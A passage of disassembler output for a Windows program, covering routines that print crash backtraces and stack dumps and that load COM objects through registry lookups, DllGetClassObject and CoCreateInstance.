		jmp	short loc_499E90
; ---------------------------------------------------------------------------

loc_499E8C:				; CODE XREF: sub_499C27+244j
		xor	eax, eax
		jmp	short locret_499E93
; ---------------------------------------------------------------------------

loc_499E90:				; CODE XREF: sub_499C27+263j
		push	1
		pop	eax

locret_499E93:				; CODE XREF: sub_499C27+267j
		leave
		retn	4
sub_499C27	endp

; ---------------------------------------------------------------------------
off_499E97	dd offset loc_499D8E	; DATA XREF: sub_499C27+160r
		dd offset loc_499D9A
		dd offset loc_499DA6
		dd offset loc_499DBE
		dd offset loc_499DCA
		dd offset loc_499DD6
		dd offset loc_499DE2
		dd offset loc_499DEB
		dd offset loc_499DF4
		dd offset loc_499DFD
		dd offset loc_499E06
		dd offset loc_499E0F
		dd offset loc_499DB2
		dd offset loc_499E18
		dd offset loc_499E21
		dd offset loc_499E3C
		dd offset loc_499E2A
		dd offset loc_499E45
		dd offset loc_499E4E
		dd offset loc_499E57
		dd offset loc_499E33
		dd offset loc_499E67
		dd offset loc_499E60

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499EF3	proc near		; CODE XREF: sub_49A18E+40p
					; sub_49A18E+83p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F550
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, offset dword_4A6A90
		test	eax, eax
		jnz	short loc_499F2E
		mov	eax, offset aBroken ; "!broken!"
		jmp	loc_49A006
; ---------------------------------------------------------------------------

loc_499F2E:				; CODE XREF: sub_499EF3+2Fj
		mov	ecx, 100h
		xor	eax, eax
		mov	edi, offset dword_4A6A90
		rep stosd
		and	[ebp+var_4], 0
		push	1Ch
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4A27B0	; VirtualQuery
		test	eax, eax
		jnz	short loc_499F78
		push	offset a0x08xUnknownUn ; "0x%08x:[unknown]:unknown"
		push	offset dword_4A6A90
		call	ds:dword_4A27D4	; wsprintfA
		pop	ecx
		pop	ecx
		mov	[ebp+var_44], offset dword_4A6A90
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_44]
		jmp	loc_49A006
; ---------------------------------------------------------------------------

loc_499F78:				; CODE XREF: sub_499EF3+5Ej
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_49A0EF
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_24], 0
		and	[ebp+var_1C], 0
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_0]
		call	sub_49A015
		add	esp, 10h
		cmp	[ebp+var_20], 0
		jnz	short loc_499FB1
		mov	[ebp+var_20], offset aUnknown ;	"unknown"

loc_499FB1:				; CODE XREF: sub_499EF3+B5j
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+var_20]
		push	[ebp+arg_0]
		push	offset a0x08xS03x08x ; "0x%08x:[%s]:(%03x:%08x)"
		push	offset dword_4A6A90
		call	ds:dword_4A27D4	; wsprintfA
		add	esp, 18h
		mov	[ebp+var_48], offset dword_4A6A90
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_48]
		jmp	short loc_49A006
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+arg_0]
		push	offset aBroken0x08x ; "!broken!0x%08x:"
		push	offset dword_4A6A90
		call	ds:dword_4A27D4	; wsprintfA
		add	esp, 0Ch
		mov	eax, offset dword_4A6A90

loc_49A006:				; CODE XREF: sub_499EF3+36j
					; sub_499EF3+80j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_499EF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A015	proc near		; CODE XREF: sub_499EF3+A9p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+4]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		sub	ecx, [eax+4]
		mov	[ebp+var_C], ecx
		and	[ebp+var_4], 0
		jmp	short loc_49A058
; ---------------------------------------------------------------------------

loc_49A051:				; CODE XREF: sub_49A015:loc_49A0E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_49A058:				; CODE XREF: sub_49A015+3Aj
		mov	eax, [ebp+var_10]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_4], eax
		jnb	loc_49A0EA
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+eax+0Ch]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		imul	ecx, 28h
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_8]
		mov	eax, [edx+eax+10h]
		cmp	eax, [esi+ecx+8]
		jbe	short loc_49A0A6
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+eax+10h]
		mov	[ebp+var_1C], eax
		jmp	short loc_49A0B6
; ---------------------------------------------------------------------------

loc_49A0A6:				; CODE XREF: sub_49A015+7Dj
		mov	eax, [ebp+var_4]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_1C], eax

loc_49A0B6:				; CODE XREF: sub_49A015+8Fj
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_1C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_18]
		jb	short loc_49A0E5
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_14]
		jnb	short loc_49A0E5
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_49A0EA
; ---------------------------------------------------------------------------

loc_49A0E5:				; CODE XREF: sub_49A015+B0j
					; sub_49A015+B8j
		jmp	loc_49A051
; ---------------------------------------------------------------------------

loc_49A0EA:				; CODE XREF: sub_49A015+4Dj
					; sub_49A015+CEj
		xor	al, al
		pop	esi
		leave
		retn
sub_49A015	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A0EF	proc near		; CODE XREF: sub_499EF3+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, offset dword_4A6E90
		rep stosd
		push	104h
		push	offset dword_4A6E90
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		call	ds:dword_4A2714	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_49A11F
		xor	eax, eax
		jmp	short loc_49A18B
; ---------------------------------------------------------------------------

loc_49A11F:				; CODE XREF: sub_49A0EF+2Aj
		push	5Ch
		push	offset dword_4A6E90
		call	sub_48D700
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_49A13C
		mov	eax, [ebp+var_4]
		inc	eax
		jmp	short loc_49A18B
; ---------------------------------------------------------------------------

loc_49A13C:				; CODE XREF: sub_49A0EF+45j
		mov	edi, offset dword_4A6E90
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	50h
		pop	eax
		cmp	eax, ecx
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49A186
		mov	eax, [ebp+var_8]
		mov	ds:byte_4A6E40[eax], 2Eh
		mov	eax, [ebp+var_8]
		mov	ds:byte_4A6E41[eax], 2Eh
		mov	eax, [ebp+var_8]
		mov	ds:byte_4A6E42[eax], 2Eh
		mov	eax, [ebp+var_8]
		lea	eax, byte_4A6E40[eax]
		jmp	short loc_49A18B
; ---------------------------------------------------------------------------

loc_49A186:				; CODE XREF: sub_49A0EF+6Cj
		mov	eax, offset dword_4A6E90

loc_49A18B:				; CODE XREF: sub_49A0EF+2Ej
					; sub_49A0EF+4Bj ...
		pop	edi
		leave
		retn
sub_49A0EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A18E	proc near		; CODE XREF: sub_499C27+132p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F560
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	offset aBacktrace ; "--	backtrace --"
		call	sub_499726
		pop	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	sub_499EF3
		pop	ecx
		push	eax
		push	offset aS_7	; "   %s"
		call	sub_499726
		pop	ecx
		pop	ecx
		and	[ebp+var_20], 0
		jmp	short loc_49A1F6
; ---------------------------------------------------------------------------

loc_49A1E7:				; CODE XREF: sub_49A18E+96j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax

loc_49A1F6:				; CODE XREF: sub_49A18E+57j
		cmp	[ebp+var_20], 40h
		jnb	short loc_49A226
		cmp	[ebp+var_1C], 0
		jz	short loc_49A226
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_49A226
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	sub_499EF3
		pop	ecx
		push	eax
		push	offset aS_7	; "   %s"
		call	sub_499726
		pop	ecx
		pop	ecx
		jmp	short loc_49A1E7
; ---------------------------------------------------------------------------

loc_49A226:				; CODE XREF: sub_49A18E+6Cj
					; sub_49A18E+72j ...
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49A242
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		push	offset a___OpssBrokenB ; "   ... opss, broken by SEH"
		call	sub_499726
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh

loc_49A242:				; CODE XREF: sub_49A18E+9Cj
		push	offset aStack	; "--stack--"
		call	sub_499726
		pop	ecx
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 1
		and	[ebp+var_24], 0
		jmp	short loc_49A267
; ---------------------------------------------------------------------------

loc_49A260:				; CODE XREF: sub_49A18E+10Fj
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax

loc_49A267:				; CODE XREF: sub_49A18E+D0j
		cmp	[ebp+var_24], 8
		jnb	short loc_49A29F
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_1C]
		push	offset a0x08x0x08x0x08 ; "0x%08x: 0x%08x 0x%08x	0x%08x 0x%08x"
		call	sub_499726
		add	esp, 18h
		mov	eax, [ebp+var_1C]
		add	eax, 10h
		mov	[ebp+var_1C], eax
		jmp	short loc_49A260
; ---------------------------------------------------------------------------

loc_49A29F:				; CODE XREF: sub_49A18E+DDj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_49A2BB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		push	offset a___OpssBrokenB ; "   ... opss, broken by SEH"
		call	sub_499726
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh

loc_49A2BB:				; CODE XREF: sub_49A18E+115j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_49A18E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A2CA	proc near		; CODE XREF: sub_49063E+64p
					; sub_49253F+2AFp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		inc	ecx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		leave
		retn
sub_49A2CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A31F	proc near		; CODE XREF: sub_49A3B3+1Fp
					; sub_49A8C0+40p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		and	eax, 1
		test	eax, eax
		jnz	short loc_49A336
		mov	eax, 80004005h
		jmp	short locret_49A3B1
; ---------------------------------------------------------------------------

loc_49A336:				; CODE XREF: sub_49A31F+Ej
		push	[ebp+arg_0]
		call	sub_493D50
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_49A3AC
		push	8
		pop	edx
		mov	ecx, [ebp+var_4]
		call	sub_4971E1
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_49A36C
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 80004005h
		mov	eax, 80004005h
		jmp	short locret_49A3B1
; ---------------------------------------------------------------------------

loc_49A36C:				; CODE XREF: sub_49A31F+3Bj
		and	[ebp+var_C], 0
		push	offset aDllgetclassobj ; "DllGetClassObject"
		push	[ebp+var_8]
		call	ds:dword_4A2728	; GetProcAddress
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_49A397
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 80004005h
		mov	eax, 80004005h
		jmp	short locret_49A3B1
; ---------------------------------------------------------------------------

loc_49A397:				; CODE XREF: sub_49A31F+66j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	[ebp+var_C]
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		xor	eax, eax
		jmp	short locret_49A3B1
; ---------------------------------------------------------------------------

loc_49A3AC:				; CODE XREF: sub_49A31F+27j
		mov	eax, 80004005h

locret_49A3B1:				; CODE XREF: sub_49A31F+15j
					; sub_49A31F+4Bj ...
		leave
		retn
sub_49A31F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A3B3	proc near		; CODE XREF: sub_49A518+53p
					; sub_49A789+43p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		and	[ebp+var_4], 0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_4A21D8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_49A31F
		add	esp, 18h
		test	eax, eax
		jl	loc_49A511
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax], 0
		jge	short loc_49A3F4
		mov	eax, [ebp+arg_18]
		mov	eax, [eax]
		jmp	locret_49A516
; ---------------------------------------------------------------------------

loc_49A3F4:				; CODE XREF: sub_49A3B3+35j
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_14], 0
		and	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_4A21C8
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		push	[ebp+var_4]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jl	loc_49A4BB
		and	[ebp+var_18], 0
		jmp	short loc_49A430
; ---------------------------------------------------------------------------

loc_49A429:				; CODE XREF: sub_49A3B3+F8j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax

loc_49A430:				; CODE XREF: sub_49A3B3+74j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_49A4B0
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		lea	eax, [ecx+eax+4]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	[ebp+var_8]
		call	dword ptr [eax]
		mov	ecx, [ebp+var_18]
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_14]
		mov	[edx+ecx+8], eax
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		cmp	dword ptr [ecx+eax+8], 0
		jl	short loc_49A47F
		mov	[ebp+var_C], 1
		jmp	short loc_49A49C
; ---------------------------------------------------------------------------

loc_49A47F:				; CODE XREF: sub_49A3B3+C4j
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		cmp	dword ptr [ecx+eax+8], 80004002h
		jnz	short loc_49A498
		mov	[ebp+var_10], 1
		jmp	short loc_49A49C
; ---------------------------------------------------------------------------

loc_49A498:				; CODE XREF: sub_49A3B3+DDj
		mov	[ebp+var_14], 1

loc_49A49C:				; CODE XREF: sub_49A3B3+CAj
					; sub_49A3B3+E3j
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+eax]
		mov	[ebp+var_1C], eax
		jmp	loc_49A429
; ---------------------------------------------------------------------------

loc_49A4B0:				; CODE XREF: sub_49A3B3+83j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	[ebp+var_8]
		call	dword ptr [eax+8]

loc_49A4BB:				; CODE XREF: sub_49A3B3+6Aj
		movzx	eax, [ebp+var_14]
		test	eax, eax
		jz	short loc_49A4CE
		mov	eax, [ebp+arg_18]
		mov	dword ptr [eax], 80004005h
		jmp	short loc_49A502
; ---------------------------------------------------------------------------

loc_49A4CE:				; CODE XREF: sub_49A3B3+10Ej
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jz	short loc_49A4E9
		movzx	eax, [ebp+var_10]
		test	eax, eax
		jz	short loc_49A4E9
		mov	eax, [ebp+arg_18]
		mov	dword ptr [eax], 80012h
		jmp	short loc_49A502
; ---------------------------------------------------------------------------

loc_49A4E9:				; CODE XREF: sub_49A3B3+121j
					; sub_49A3B3+129j
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jz	short loc_49A4F9
		mov	eax, [ebp+arg_18]
		and	dword ptr [eax], 0
		jmp	short loc_49A502
; ---------------------------------------------------------------------------

loc_49A4F9:				; CODE XREF: sub_49A3B3+13Cj
		mov	eax, [ebp+arg_18]
		mov	dword ptr [eax], 80004002h

loc_49A502:				; CODE XREF: sub_49A3B3+119j
					; sub_49A3B3+134j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		push	[ebp+var_4]
		call	dword ptr [eax+8]
		xor	eax, eax
		jmp	short locret_49A516
; ---------------------------------------------------------------------------

loc_49A511:				; CODE XREF: sub_49A3B3+29j
		mov	eax, 80004005h

locret_49A516:				; CODE XREF: sub_49A3B3+3Cj
					; sub_49A3B3+15Cj
		leave
		retn
sub_49A3B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A518	proc near		; DATA XREF: _6:off_4A23E0o

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F578
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_2C], 0
		xor	eax, eax
		lea	edi, [ebp+var_28]
		stosd
		stosd
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_49A3B3
		add	esp, 1Ch
		test	eax, eax
		jl	short loc_49A59A
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		push	0FFFFFFFFh
		mov	eax, [ebp+var_24]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	loc_49A627
; ---------------------------------------------------------------------------

loc_49A59A:				; CODE XREF: sub_49A518+5Dj
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_49A5D6
		push	[ebp+arg_0]
		call	sub_49A638
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_49A5D6
		mov	[ebp+arg_8], 1
		push	[ebp+var_1C]
		call	ds:dword_4A2718	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_49A5D6
		push	8
		push	0
		push	[ebp+var_1C]
		call	sub_49BE96

loc_49A5D6:				; CODE XREF: sub_49A518+8Aj
					; sub_49A518+9Cj ...
		and	[ebp+var_20], 0
		push	offset dword_49F5DC
		push	offset aCocreateinstan ; "CoCreateInstance"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_20]
		push	0FFFFFFFFh
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_49A627
; ---------------------------------------------------------------------------

loc_49A615:				; DATA XREF: _5:0049F580o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_4993DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax

loc_49A627:				; CODE XREF: sub_49A518+7Dj
					; sub_49A518+FBj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_49A518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A638	proc near		; CODE XREF: sub_49A518+8Fp
					; sub_49A789+8Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0049A6A2 SIZE 0000007A BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F588
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4A7098
		call	ds:dword_4A26C4	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		cmp	ds:dword_4A70B0, 0
		jnz	short loc_49A68B
		push	offset aAdvapi32_dll_0 ; "ADVAPI32.DLL"
		push	offset aRegqueryvaluea ; "RegQueryValueA"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	ds:dword_4A70B0, eax

loc_49A68B:				; CODE XREF: sub_49A638+3Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49A696
		jmp	short loc_49A6A2
sub_49A638	endp


; =============== S U B	R O U T	I N E =======================================



sub_49A696	proc near		; CODE XREF: sub_49A638+57p
					; DATA XREF: _5:0049F590o
		push	offset dword_4A7098
		call	ds:dword_4A2754	; RtlLeaveCriticalSection
		retn
sub_49A696	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49A638

loc_49A6A2:				; CODE XREF: sub_49A638+5Cj
		push	401h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], 400h
		mov	ecx, [ebp+var_20]
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	[ebp+arg_0]
		call	sub_49A71C
		pop	ecx
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_1C]
		push	offset dword_4A6F98
		push	80000000h
		call	ds:dword_4A70B0
		test	eax, eax
		jnz	short loc_49A6FC
		mov	eax, [ebp+var_1C]
		jmp	short loc_49A70D
; ---------------------------------------------------------------------------

loc_49A6FC:				; CODE XREF: sub_49A638+BDj
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	sub_4993DD
		pop	ecx
		xor	eax, eax

loc_49A70D:				; CODE XREF: sub_49A638+C2j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_49A638

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A71C	proc near		; CODE XREF: sub_49A638+9Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Fh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Eh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Dh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Ch]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Bh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+9]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+8]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+6]
		push	eax
